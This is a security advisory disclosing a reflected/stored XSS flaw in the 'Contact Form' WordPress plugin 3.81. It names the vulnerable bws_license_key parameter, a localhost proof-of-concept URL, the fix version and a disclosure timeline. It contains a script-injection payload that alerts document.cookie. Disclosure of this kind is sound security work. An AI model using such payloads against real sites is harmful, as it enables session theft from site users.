Plugin Details
Plugin Name : Contact Form
Effected Version : 3.81 (and most probably lower version's if any)
Vulnerability : A3-Cross-Site Scripting (XSS)
Identified by : Madhu Akula
Technical Details
Minimum Level of Access Required : Unauthenticated
PoC - (Proof of Concept) :
http://localhost/wp-admin/admin.php?page=contactform.php&action=go_pro
In the serial key place the below payload
"><script>alert(document.cookie)</script>
Vulnerable Parameter : bws_license_key
Video Demonstration :
http://www.youtube.com/watch?v=4yHZvPs8FTE
Type of XSS : Reflected / Stored
Fixed in : 3.8.2
http://wordpress.org/plugins/contact-form-plugin/changelog/
Disclosure Timeline
Vendor Contacted : 2014-08-04
Plugin Status : Updated on 2014-08-07
Public Disclosure : October 3, 2015
CVE Number : Not assigned yet
Plugin Description :
The Contact Form plugin allows you to implement a feedback form to a web-page or a post in no time. It is an extremely easy form, that doesn?t require any additional settings, though there are some available options. All you need is just to activate the plugin and insert the shortcode [bestwebsoft_contact_form] into the text. There is also a premium version of the plugin with more useful features available.